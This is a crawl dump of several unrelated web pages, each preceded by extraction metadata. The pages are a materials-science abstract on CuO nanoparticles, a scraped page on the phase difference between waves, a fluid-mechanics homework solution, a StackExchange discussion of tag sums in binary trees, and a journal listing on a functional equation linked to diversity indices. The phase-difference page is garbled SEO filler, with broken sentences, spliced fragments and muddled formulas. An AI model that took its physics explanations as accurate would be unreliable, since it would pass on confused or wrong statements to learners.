{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7462790012359619, "perplexity": 259.82261796467463}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-10/segments/1614178360107.7/warc/CC-MAIN-20210228024418-20210228054418-00573.warc.gz"}
https://www.ias.ac.in/describe/article/boms/039/02/0469-0478
• Synthesis and characterization of CuO nanoparticles using strong base electrolyte through electrochemical discharge process • # Fulltext https://www.ias.ac.in/article/fulltext/boms/039/02/0469-0478 • # Keywords Electrochemical discharge; CuO; nanoparticles; strong base. • # Abstract In the present study, cupric oxide (CuO) nanoparticles were synthesized by electrochemical discharge process using strong base electrolytes. The experiments were carried out separately using NaOH and KOH electrolytes.The mass output rate and the crystal size were obtained with variation of the rotation speed of magnetic stirrer for both types of electrolytes. The mass output rate of CuO nanoparticles increased with the increase in the speed of rotation, and, after an optimum speed, it started decreasing. However, the size of the particles reduced with the increase of the rotation speed. The crystal plane of the obtained CuO nanoparticles was similar for both the electrolytes whereas the yield of nanoparticles was higher in KOH as compared with NaOH under the sameexperiment conditions. In this set of experiments, the maximum output rates obtained were 21.66 mg h$^{−1}$ for NaOH and 24.66 mg h$^{−1}$ for KOH at 200 rpm for a single discharge arrangement. The average crystal size of CuO particles obtained was in the range of 13–18 nm for KOH electrolyte and 15–20 nm for NaOH electrolyte. Scanning electron microscopy images revealed that flower-like and caddice clew-shaped CuO nanocrystalline particles weresynthesized by the electrochemical discharge process. Fourier transform infrared spectrum showed that the CuO nanoparticles have a pure and monolithic phase. UV–vis–NIR spectroscopy was used to monitor oxidation course of Cu→CuO and the band gap energy was measured as 2 and 2.6 eV for CuO nanoparticle synthesized in NaOH and KOH solutions, respectively. • # Author Affiliations 1. Department of Mechanical Engineering, Indian School of Mines, Dhanbad 826 004, Jharkhand, India 2. Department of Applied Chemistry, Indian School of Mines, Dhanbad 826 004, Jharkhand, India • # Bulletin of Materials Science Current Issue Volume 42 | Issue 6 December 2019 • # Editorial Note on Continuous Article Publication Posted on July 25, 2019
2019-09-23 00:59:11
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.2660351097583771, "perplexity": 6862.031966045941}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 5, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-39/segments/1568514575844.94/warc/CC-MAIN-20190923002147-20190923024147-00158.warc.gz"}
http://southcountycollisioncenter.com/coluche-accident-gmpvgb/article.php?page=how-to-find-phase-difference-between-two-waves-f2d878
I know that phase shift between two signals can be find out using the fallowing formula. Learn More: What is Potential Gradient in Electrical, Use of Potential Gradient Calculation. Whenever the two waves have a path difference of one-half a wavelength, a crest from one source will meet a trough from the other source. Two sine waves are mutually shifted in phase, if the time points of its zero passages do not coincide. If the path difference is x, then path difference $$= \frac {2\pi }{\lambda } \times x. Phase Difference And Path Difference For any two waves with the same frequency, Phase Difference and Path Difference are related as- \(\Delta x=\frac{\lambda }{2\pi }\Delta \phi$$ I two sinewave signals with same frequency. Two small boats are 10 m apart on a lake. I am able to read both signal voltages using SPI communication. The phase difference is the fraction of a complete cycle corresponding to an offset in the displacement between two sine waves. In this time, the light travels a distance L in free space. Follow 286 views (last 30 days) DEBASHIS PANDA on 3 Dec 2015. When the two gray waves become exactly out of phase the sum wave is zero. 0. Find resultant amplitude and intensity at a point, where: (a) phase difference between two waves is . (b) path difference between two waves is . Fill in your details below or click an icon to log in: You are commenting using your WordPress.com account. How can we use path difference to determine the phase difference at a point? ( Log Out /  Using this information we can work out the time period of a trace. If the two sources are in same phase, then the path difference, Δ = a 2 - a 1. Kathmandu: Surya Publication, 2003. c) What is the distance between two points on a wave of wavelength 20cm that are 10cm apart? There will be a small phase difference between two signals. When looking at phase on a real source, such as a mono recording playing on two speakers, phase can easily exceed 360 degrees. When the particles completer one to and fro motion, the wave advances by a distance equal to its wavelength λ. ( Log Out /  You are looking for the distance between a specific point on two previously identical waves. This is true for any points either side of a node. e.g: a) The oscilloscope is set with a timebase of 20ms/div. Pradhan. Change ), You are commenting using your Facebook account. Manu Kumar Khatry, Manoj Kumar Thapa,et al. I am using ATmega32-A micro controller and external ADC AD7798 to read the voltage of both signal. The first wave has traveled 7.5m at this point, and the second has traveled 5m. I am able to read both signal voltages using SPI communication. First, you need to change both signals into square waves then use an XOR gate with each input connected to one of the signals. This sine wave signal is converted to waveform of different shapes such as square wave, rectangular wave etc. The phase difference is then the angle between the two hands, measured clockwise. There are a number of ways to measure the phase difference between two voltage waveforms using an oscilloscope. The phase difference is meaningful only within the period of a wave. It is important to be able to label various properties of a wave, and give a word definition for those properties. At the moment I use the amplitude difference between the two and this works to an extent, but the result isn't particularly meaningful to me. The video below points out the most important factors: So, to summarise the properties of a wave: Time period and frequency – oscilloscopes. How to find the phase difference between two signals by using python? One on Channel A and other on Channel B. I need help with determining the phase shift between these two using the function: y = y0 + A*sin(2*pi*0.03*x + b) , Where b gives the phase of signal, A-amplitude & y0 offset. What so we mean by phase and phase difference? Therefore, the path difference between two waves reaching C is zero and hence, they are in phase. Phase difference Δ ϕ between two points on a wave is given by Δ ϕ = Δ x λ × 2 π where λ is the wavelength This page on frequency vs phase describes difference between frequency and phase.It mentions relation between them. b) What is the phase difference of the two waves at this point? You can find us in almost every social media platforms. RADIANS are essentially another way of defining an angle. The table below shows how a separation of certain fractions of a wavelength (as measured from point A) corresponds to a separation in radians: We can also think of phase difference in terms of two waves of IDENTICAL WAVELENGTH produced with a time delay between them: To work out the phase difference here we need to work out how much the distance between two like points on each wave is in terms of fraction of a wavelength. To calculate phase difference between two waves or time delay to phase shift conversion. They have velocities in the opposite direction; Phase difference: $\pi$ radians (or … Destructive interference occurs for path differences of one-half a wavelength. Otherwise, the fringes of different colours will overlap. If you wanted to know the phase difference between any two points on the wave between any two times, it is. Why is the phase difference between two points in a stationary wave equals to zero? Vote. I understand that a stationary wave is formed by two progressive waves which have the same amplitude, frequency, wavelength and speed, but travelling in opposite directions. phase_difference practice questions with answers. At a suitable distance (about 10 cm ) from S, there are two fine slits S1 and S2 about 0.5 mm apart at equidistant from S. when a screen is placed at a larger (about 2m) from the slits S1 and S2, alternate bright and dark bands appear on the screen. The plot shows truth vs an estimate generated from the scilab code below. The phase difference of any two points on a wave depends on the fraction of a wavelength between the points! When a wave passes through a medium, the particles of the medium vibrate. Oscilloscopes allow a wave to be traced out on a cathode ray screen. I want to determine the phase angle between them. The appearance of bright and dark bands are called the fringes. \), $$\text {hence, phase difference} = \frac {2\pi }{\lambda } \times \text {path difference}$$. You don't ever really need to shift it by more than two pi since after you shift by two pi, you just get the same shape back again. I've arbitrarily assigned the second (smaller) sine wave to be 0.8 radians out of phase with the first. A path difference equivalent to one half-wavelength will introduce a phase difference of π radians resulting in cancellation (a minimum), whereas a path difference of any whole number of wavelengths results in the waves arriving in phase (with a phase difference of 0) and adding together (a maximum). Two sources should be monochromatic. where A1 and A2 are the amplitudes of two waves of like frequency, and phi is the phase difference between the two waves. It is expressed in degrees or radians. I have been having trouble identifing the phase difference (in degrees) between both waves. FYI, Sine waves have same frequency and amplitude. Method Oscilloscope Requirements Waveform Requirements Advantages Limitations Time-difference 2 channels B a Lissajous 1 v. 2 mode Sinusoidal only D, E a, c Product 1 × 2 mode … If you multiple two square waves in the time domain, the time domain average will be linearly proportional to the phase between the square waves. The frequency of a wave is constant – it does not change when moving from one medium to another. So, two points a WHOLE WAVELENGTH apart move in exactly the same way – we can say they are COMPLETELY IN PHASE. What is the time period of this wave: progressive waves questions 1 with answers, _______________________________________________________________. The wave equation links the wave speed (v) to its frequency and wavelength. A(t)= Am sin(Wt+/-theta). Standing waves on the otherhand trap energy between two points. This is also called as “Phase angle” or “Phase offset”. S is a narrow vertical slit (of width about 1 mm) illuminated by a monochromatic source of light. I would really appreciate if you could help me out with this. If the path difference is x, then path difference = 2π λ × x. hence, phase difference = 2π λ × path difference. The output of the XOR gate will have an average equal to the absolute of the phase difference ,so, if you place a LPF after the XOR gate, you'll get this average. I'm a new user to python. For a complete wave, the wavelength varies in λ and the phase is changed through 2p. The phase difference between the two waves increases with time so that the effects of both constructive and destructive interference may be seen. ( Log Out /  Phase Difference And Path Difference They oscillate in a vertical plane, but the particles finish up in the same position that they started in after one complete cycle! You also need to know how they are formed: Progressive waves are initially formed, which would travel in opposite directions, and then be reflected off whatever is keeping the medium together and when they reflect back, they interfere and form "nodes" and "antinodes". On an oscilloscope trace, the x axis represents time and the y axis amplitude (in Volts). The path difference of two waves is the difference in distance that the waves have traveled. Adding a phase constant will shift it to the left. View Answer. I have been having trouble identifing the phase difference (in degrees) between both waves. The amplitude of each wave is A and the phase difference between the two waves is 1 2 0 ∘. Draw S1P, S2P and OC perpendicular to MN. The wave from the sources be in same phase or maintain a constant phase difference with time. Substituting the value of t from equation (i) in equation (ii), we get, \begin{align*} L = c \times \frac dv = \frac {cv}{v} \\ \text {or,} \: L = \mu d \\ \end{align*}, Conditions for Sustained Interference of Light. When a wave passes through a medium, the particles of the medium vibrate. MEDIUM. If two waves have zero phase difference, then their crests occur at the same time and so do their troughs. Let there be two waves with a path difference of λ. Keep then anyone from these two phase shifts as the wanted phase shift between the two sinusoidal graphs given. Phase shift is a small difference between two waves; in math and electronics, it is a delay between two waves that have the same period or frequency. The oscilloscope has settings for the timebase and voltage amplitude. progressive waves questions 2 with answers. Full circle comprises 360° which is 2π radians adding a phase can only develop between two signals a the... “ phase angle between the two light waves have traveled, Manoj Kumar Thapa, al! Be the centre between the two waves have traveled Fourier transform of the two have. Be point sources or very narrow sources with each other. O be the centre between the slits and! Therefore have the same amplitude and frequency point simultaneously and limitations of each wave is shifted from the be. A cycle apart from each other... After solving my problem i able! Out the time period of a wave of wavelength 4m that are 10cm apart keep then anyone from these waves. The period of a wave of wavelength 10m are emitted in a wave! Below of a wave of wavelength 4m that are exactly in phase, if the path difference is the in... And Phi is the distance travelled by the two individual waves are mutually shifted in phase, if the angle! Additional example of destructive interference may be seen in exactly the opposite way – we can work out the at... In terms of radians a HALF wavelength apart move in exactly the opposite way we! Waveform sum that is, the wave equation links the wave form that you can take the transform... Relationships which can not see or touched imagine you are looking for the timebase and voltage phase shift the... A more indepth explanation however methods and summarizes the advantages and limitations of each wave and wavelength! News on Phys.org of wavelength 20cm that are 10cm apart from vectors and the wavelength in... 2Π radians be two fine slits at a point Phi is the phase angle between the points along the form... Summarizes the advantages and limitations of how to find phase difference between two waves wave is double ( 2A ) medium distance that effects... Among the people and limitations of each point simultaneously i two sinewave signals same... And hence, they are COMPLETELY out of phase with the first wave has traveled 7.5m at this point and/or! Data and identify phase shifts between signals value other than 1 or touched ( )! Or way to plot the phase difference, we should have two sine waves travelling in opposite directions a. In terms of radians the amplitudes of two waves or time delay to phase difference value correct. Value looks correct, since the two voltages are not equal and/or out of phase an ellipse is formed some..., point x will always have the same position that they are $\frac { 2\pi } { 2$. Are COMPLETELY out of phase the sum wave is zero is one-half a wavelength that. Difference, we have a phase constant, the fringes the Fourier transform of the resulting waveform sum if! \Frac { 1 } { 2 } $a cycle apart from each.. Π radians ), Linking path difference of the two voltages are not equal and/or out phase... = \frac { 1 } { 2 }$ a cycle apart from each other. on. Centre between the two sinusoidal graphs given t=0, cos has some value than. Phase difference them will be wavelength varies in λ and the phase is changed through 2p differences of one-half wavelength. Interacting waves meet at a point is one-half a wavelength apart move in exactly the opposite way – can!, sine waves screen lies on the screen will depend upon the path difference the. Traveled by the Greek letter Phi ( Φ ) they Change their HORIZONTAL position along wave! Somewhere in vector space analysis books - Duration: 9:25 one to and fro,... A timebase of 20ms/div of computing the cross spectra between each wave is a and the wavelength into metres!... Then path difference is the position of maximum intensity, wavelength, and then at. Using an oscilloscope trace, the particles completer one to and fro,... Relation of path difference is 180 degrees ( π radians ), with a path is... Or fields links the wave between how to find phase difference between two waves two points RPM ) sensor which is 2π radians or 360.. Wanted to know is the path difference is 0.5 λ are variations of current and voltage amplitude surrounding area use! Computing the cross spectra between each wave is double ( 2A ) medium cos! An icon to Log in: you are commenting using your Twitter account in: are! Is set with a slight shift in the path difference is direct wave to be in same phase in! Details below or click an icon to Log in: you are commenting using your Google account and then at... Word phase difference in distance traveled by the light in a medium, particles. ( last 30 days ) DEBASHIS PANDA on 3 Dec 2015 hi.. After solving my problem am. Reinforce or weaken each other. bright and dark bands are called the fringes: progressive waves 1. ) sensor which is 2π radians by ACA - Duration: 9:25 waves is one-half a wavelength apart move exactly! Kumar Khatry, Manoj Kumar Thapa, et al only within the period of this wave: waves! Two light waves of the resulting waveform sum such as square how to find phase difference between two waves, all need... Π ( Δ x λ ) 7.5m at this point into metres first depend the. Then their crests occur at the same amplitude and frequency arrive at a point where are. Identical waves any points either side of a mountain … how to find the phase difference between points. Lead/Lag between sensors boats are 10 m apart on a lake of 5m source. Two previously identical waves bulbs and meet at a small distance d apart in the difference! Pure traveling AC sinusoidal waves, but they oscillate in time with each other )! An estimate generated from the scilab code below my problem i am able to label properties... Means that they are in phase the sum wave is a network of social relationships which not... The diagram below of a complete wave, point x will always have the same and. Between phase difference is meaningful only within the period of a wave of wavelength 4m that are separated a! Can give me some suggestions on how to find the phase difference between points. Shifting '' ( displacement ) is possible calculate the time value of +/-1 ) moving from medium! Between signals form that you can find it somewhere in vector space analysis books way to plot the difference. And wavelength word definition for those properties ( same amplitude and frequency, sine waves between the points a. Be of same wavelength and distance between 2 particles ( path difference the... Waves or time delay to phase difference between two sine waves defined as 2π radians of Potential in... ), Linking path difference and the second has traveled 5m medium to another waves increases with time that! Waveform of different shapes such as square wave, point x will always have the amplitude... Particles completer one to and fro motion, the point and fro motion the... Frequency vs phase describes difference between two sine waves + Φ ) lead/lag between sensors Volts! Data and identify phase shifts as the wanted phase how to find phase difference between two waves between two signals, and give word! That each square of the x axis represents time and the larger the phase difference degrees... Using an oscilloscope particles completer one to and fro motion, the light in a medium and the phase between! As square wave, all you need to know is the wavelength offset ” $radian out phase!, they are$ \frac { 1 } { \lambda } \times x indepth explanation.... O be the centre between the two hands, measured clockwise 've arbitrarily assigned the second has traveled 5m,! Or way to plot the phase difference between frequency and phase.It mentions relation between phase difference be able read! The light in a stationary wave, the particles completer one to and fro,... Shift it to the left phase offset ” for both waves 12m that are separated by a distance 4.5. Is also called as “ phase offset ” 2π radians are some i... Standing waves on the fraction of a wave passes through a medium sources in! Mean by phase and phase difference means how much the wave between any two a... Particles completer one to and fro motion, the wave advances by a equal! The position of maximum intensity ) = am sin ( Wt+/-theta ) both waves do they Change HORIZONTAL..., is there a function or way to plot the phase difference the... Both signal voltages using SPI communication and S2 two voltage waveforms using an oscilloscope,. Timebase of 20ms/div the more it 's shifted interference may be i should calculate the phase between points! | by ACA - Duration: 9:25 each other at any point in time Note that is! On 31 Dec 2015 as shown below ( same amplitude and frequency ) signals sources should be sources... B – in What vertical direction are you moving it does not absorbed energy the. Path traversed by the light travels a distance of 5m from source will be is used generate... Completely in phase, then the angle between the two individual waves are variations current! Crests occur at the diagram below of a wave passes through a medium, the wavelength metres! Both waves then their crests occur at the animation below which shows way. Separated by a distance equal to its wavelength λ screen lies on the wave from source will be 2p v! Give me some suggestions on how to find the phase difference between any two points on a in! And S2 be i should calculate the time at zero crossing keep then anyone from these two waves increases time! Leading p… Note that θ is the phase difference with time wave depends the!
2021-05-15 17:20:16
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 2, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6373991966247559, "perplexity": 707.6270127754119}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-21/segments/1620243990551.51/warc/CC-MAIN-20210515161657-20210515191657-00113.warc.gz"}
https://www.coursehero.com/file/p20ucql/v-x-dy-2-where-P-is-the-dynamic-pressure-In-the-forward-flow-region-%CE%94-P-F-P-1-P/
# V x dy 2 where p is the dynamic pressure in the • Homework Help • 12 • 100% (8) 8 out of 8 people found this document helpful This preview shows page 4 - 7 out of 12 pages. v x dy 2 where P is the dynamic pressure. In the forward flow region, Δ P F = P 1 P 0 . If the dimension of the device in the z-direction is large compared to that in the y-direction, then the equation simplifies to μ d 2 v x dy 2 = Δ P F L 1 . a) Integrating the governing equation twice yields v x (y) = 1 μ Δ P F L 1 y 2 2 + C 1 y + C 2 . Since the velocity is U at y=0, C 2 = U , and since the velocity is 0 at y=h, 0 = 1 μ Δ P F L 1 h 2 2 + C 1 h + U or C 1 = 1 μ Δ P F L 1 h 2 U h . The velocity profile is therefore v x (y) = 1 μ Δ P F L 1 h 2 2 y h y 2 h 2 + U 1 y h . This expression gives the velocity profile in both regions (downstream and upstream of the vertical slot). The only difference is the negative pressure gradient in the two regions. In the forward flow region, Δ P F L 1 = P 1 P 0 L 1 , whereas in the backflow region Δ P B L 2 = P 0 P 1 L 2 . b) In the backflow region, the velocity profile is again v x (y) = 1 μ Δ P B L 2 h 2 2 y h y 2 h 2 + U 1 y h . To find the length of the backflow region, we use the fact that the volumetric flow across any cross- section there must be zero. At steady state, if there is no flow at the left air/liquid boundary, then there must be no flow at any x-position. We therefore have Q = v x (y) = 0 0 h or 1 μ Δ P B L 2 h 2 2 y h y 2 h 2 + U 1 y h dy = 0 0 h . Doing the integral yields P 0 P 1 L 2 = μ U 6 h 2 or L 2 = h 2 P 1 P 0 ( ) 6 μ U . c) The flow rate (per unit width) in the forward flow region is Q = 1 μ Δ P F L 1 h 2 2 y h y 2 h 2 + U 1 y h dy 0 h with the negative pressure gradient as specified in (a). Then Q = 1 μ Δ P F L 1 h 3 12 + U h 2 = Uh , where the last equality reflects the fact that, far downstream, the velocity of the film will equal U everywhere. The final coating thickness is therefore h = h 3 12 μ U Δ P F L 1 + h 2 . d) In both the forward flow and backflow regions, the force per unit width is given by F x = τ yx y = 0 dx L 2 0 + τ yx y = 0 dx 0 L 1 . The shear stresses in each region have the same form, but the pressure gradient terms differ. They take the form τ yx y = 0 = μ dv x dy y = o = Δ P L h 2 + μ U h . The shear stresses are functions only of y, so they are constant at y=0, and the integrals are trivial and yield F x = L 2 P 0 P 1 L 2 h 2 + μ U h L 1 P 1 P 0 L 2 h 2 + μ U h or F x = μ U h L 2 + L 1 ( ) . The pressure gradient terms apparently cancel each other, so the net force is in the –x direction, and is the same as it would be for a linear shear flow with no pressure gradient.
2021-12-02 11:01:09
{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9050013422966003, "perplexity": 701.6363175434919}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-49/segments/1637964361253.38/warc/CC-MAIN-20211202084644-20211202114644-00484.warc.gz"}
https://cs.stackexchange.com/questions/71727/speculating-big-o-for-a-binary-tree
Speculating big O for a binary tree I have a binary tree with $n$ nodes. The tree is not necessarily balanced. For each node of the tree, I count down the total number of the nodes for its left sub-tree as $n_L$ and then I count down the total number of the nodes for its right sub-tree as $n_R$. Then I calculate $\min(n_L,n_R)$ and then assign the minimum value as a tag to the node. I repeat this process to produce appropriate tags for all the nodes of the tree. Now I wonder what is the big O for the sum of all the tags. I mean, I wonder if the sum of tags is $O(n\log n)$ or $O(n)$ or $O(n^2)$. In the most unbalanced case, the binary tree is just a long list like figure below. In this case, I think sum of tags would be 0, therefore the big O would be $O(0)$. In the case of a perfect binary tree, the tag of the root node might be $2^0\frac{n}{2^{0+1}}$ and at the next level, i.e. root's left and right children, sum of tags might be $2^1\frac{n}{2^{1+1}}$ and for the $i$th level of the perfect binary tree, the sum of tags might be $2^i\frac{n}{2^{i+1}}$. At the $i$th level, sum of tags might become $2^i\frac{n}{2^{i+1}}=\frac{n}{2}$ therefore looks like that some of tags at each level might be $\frac{n}{2}$ and because a perfect binary three has a total height of $\log_2n$ hence the total sum of tags might be $\frac{n}{2}\log_2n$ and this implies that for a perfect binary tree, the big O for sum of tags might be $O(n\log_2n)$. • What have you tried so far? Have you tried working through some examples or extreme cases? Have you tried working out what the value will be for a balanced tree? For a maximally unbalanced tree? You should be able to answer your question on your own if you just work through those two cases... – D.W. Mar 18 '17 at 18:58 • Cross-posted: cs.stackexchange.com/q/71727/755, stackoverflow.com/q/42883388/781723. Please do not post the same question on multiple sites. Each community should have an honest shot at answering without anybody's time being wasted. – D.W. Mar 29 '17 at 7:00 Let us denote by $\sigma(T)$ the sum of tags of a tree $T$. As you notice in your worked out examples, $\sigma(T)$ in general depends on the tree structure and not only on the number of nodes. What you are looking for is a tight upper bound on $\sigma(T)$ in terms of the number of nodes. What is this tight upper bound? For each $n$, we want to know what is the maximal $\sigma$ for a tree having $n$ nodes. Denoting this by $\tau(n)$, this quantity satisfies $\sigma(T) \leq \tau(n)$ for all trees $T$ on $n$ nodes, and furthermore $\tau(n)$ cannot be replaced by any smaller value. In fact, in practice we often don't care about finding the tight upper bound to this degree of accuracy. It is often enough to find a function $f(n)$ such that for some constant $C>0$, $\sigma(T) \leq Cf(n)$ for all trees $T$ on $n$ nodes, and furthermore for some constant $c>0$, $\sigma(T) \geq cf(n)$ for some tree $T$ on $n$ nodes. You can prove by induction on $n$ that $\sigma(T) = O(n\log n)$ for all trees on $n$ nodes. Conversely, by taking a nearly complete binary tree $T_n$ on $n$ nodes (that is, a binary tree all of whose leaves are at heights $h,h+1$ for some $h$), you can check that $\sigma(T) = \Omega(n\log n)$. Hence $O(n\log n)$ is a tight upper bound for the sum of tags of binary trees on $n$ nodes. • Right. Therefore there would be no tree with sum of tags at $O(n^{2})$ because that would violate the tight upper bound. Now I wonder if we can say that there can possibly be a tree with sum of tags at $O(n)$: I'm not sure, maybe that's possible, because $O(n)$ doesn't violate tight upper bound. – user4838962 Mar 19 '17 at 8:00 • On the contrary, every tree would have sum of tags $O(n^2)$. Don't forget that big O is just an upper bound. – Yuval Filmus Mar 19 '17 at 8:02
2021-07-28 07:08:29
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7044907808303833, "perplexity": 163.83973498874332}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-31/segments/1627046153531.10/warc/CC-MAIN-20210728060744-20210728090744-00497.warc.gz"}
https://mtjpamjournal.com/papers/article_id_mtjpam-d-21-00030/
# Article ID: MTJPAM-D-21-00030 ## Title: On a functional equation related to diversity Montes Taurus J. Pure Appl. Math. / ISSN: 2687-4814 Article ID: MTJPAM-D-21-00030; Volume 4 / Issue 1 / Year 2022, Pages 37-43 Document Type: Research Paper Author(s): Poonam Garg a , Shveta Grover b , Dhiraj Kumar Singh c aDepartment of Mathematics, Deen Dayal Upadhyaya College (University of Delhi), Azad Hind Fauj Marg, Phase 1, Dwarka Sector-3, Dwarka, Delhi 110078, India bDepartment of Mathematics, University of Delhi, Delhi 110007, India cDepartment of Mathematics, Zakir Husain Delhi College (University of Delhi), Jawaharlal Nehru Marg, Delhi 110002, India Received: 3 May 2021, Accepted: 3 September 2021, Published: 25 September 2021. Corresponding Author: Dhiraj Kumar Singh (Email address: dhiraj426@rediffmail.com, dksingh@zh.du.ac.in) Full Text: PDF Abstract The general solution of the functional equation $\sum\limits\limits^n_{i=1}\sum\limits\limits^m_{j=1}f\left(p_iq_j\right)=\sum\limits\limits^n_{i=1}k\left(p_i\right)\sum\limits\limits^m_{j=1}q^{\beta }_j\ ,$ where   f,   k   are real valued mappings each having the domain   I = [0, 1];   (p1, …, pn)∈Γn,     (q1, …, qm)∈Γm;   n ≥ 3, m ≥ 2 being fixed integers;   0 < β ∈ ℝ,   β ≠ 1   have been obtained. The relevance of its general solution to the diversity index has been discussed. Keywords: Additive mapping, sum form functional equation, the entropies of degree β, index of diversity References: 1. J. Acźel, Lectures on functional equations and their applications, Academic Press, New York and London, 1966. 2. T. W. Chaundy and J. B. McLeod, On a functional equation, Edinburgh Math. Notes 43, 7–8, 1960. 3. Z. Daróczy and L. Losonczi, Über die Erweiterung der auf einer Punktmenge additiven Funktionen, Publ. Math. (Debrecen) 14, 239–245, 1967. 4. J. Ginebra and X. Puig, On the measure and the estimation of evenness and diversity, Comput. Stat. Data Anal. 54, 2187–2201, 2010. 5. J. Havrda and F. Charvát, Quantification method of classification processes. Concept of structural α-entropy, Kybernetika 3, 30–35, 1967. 6. M. O. Hill, Diversity and evenness: A unifying notation and its consequences, Ecology 54 (2), 427–432, 1973. 7. L. Jost, Entropy and diversity, Oikos 113 (2), 363–375, 2006. 8. Pl. Kannappan, Functional equations and inequalities with applications, Springer, New York and London, 2009. 9. L. Losonczi and Gy. Maksa, The general solution of a functional equation of information theory, Glasnik Matematicki 16 (36), 261–267, 1981. 10. L. Losonzi and Gy. Maksa, On some functional equations of the information theory, Acta Mathematica Academiae Scientiarum Hungarica 39 (1-3), 73–82, 1982. 11. Gy. Maksa, The general solution of a functional equation arising in information theory, Acta Math. Hung. 49 (1-2), 213–217, 1987. 12. P. Nath and D. K. Singh, On a sum form functional equation and its role in information theory, Proc. of National Conference on ‘Information Technology: Setting Trends In Modern Era’ and 8th Annual Conference of Indian Society of Information Theory and Applications, (March 18-20, 2006), 88–94, 2006. 13. P. Nath and D. K. Singh, On a multiplicative type sum form functional equation and its role in information theory, Appl. Math. 51 (5), 495–516, 2006. 14. P. Nath and D. K. Singh, Some sum form functional equations containing at most two unknown mappings, Proc. of 9th National Conference of Indian Society of Information Theory and Applications (ISITA) on “Information Technology and Operational Research Applications”, (December 8-9, 2007), 54–71, 2007. 15. P. Nath and D. K. Singh, On a sum form functional equation related to entropies of type (α, β), Asian-Eur. J. Math. 6 (2), 13 pages, 2013. 16. P. Nath and D. K. Singh, On a sum form functional equation related to various nonadditive entropies in information theory, Tamsui Oxf. J. Inf. Math. Sci. 30, 23–43, 2014. 17. P. Nath and D. K. Singh, Some functional equations and their corresponding sum forms, Sarajevo J. Math. 12 (24), 89–106, 2016. 18. P. Nath and D. K. Singh, On a sum form functional equation containing five unknown mappings, Aequationes Math. 90, 1087–1101, 2016. 19. P. Nath and D. K. Singh, On an equation related to nonadditive entropies in information theory, Mathematics for Applications 6 (1), 31–41, 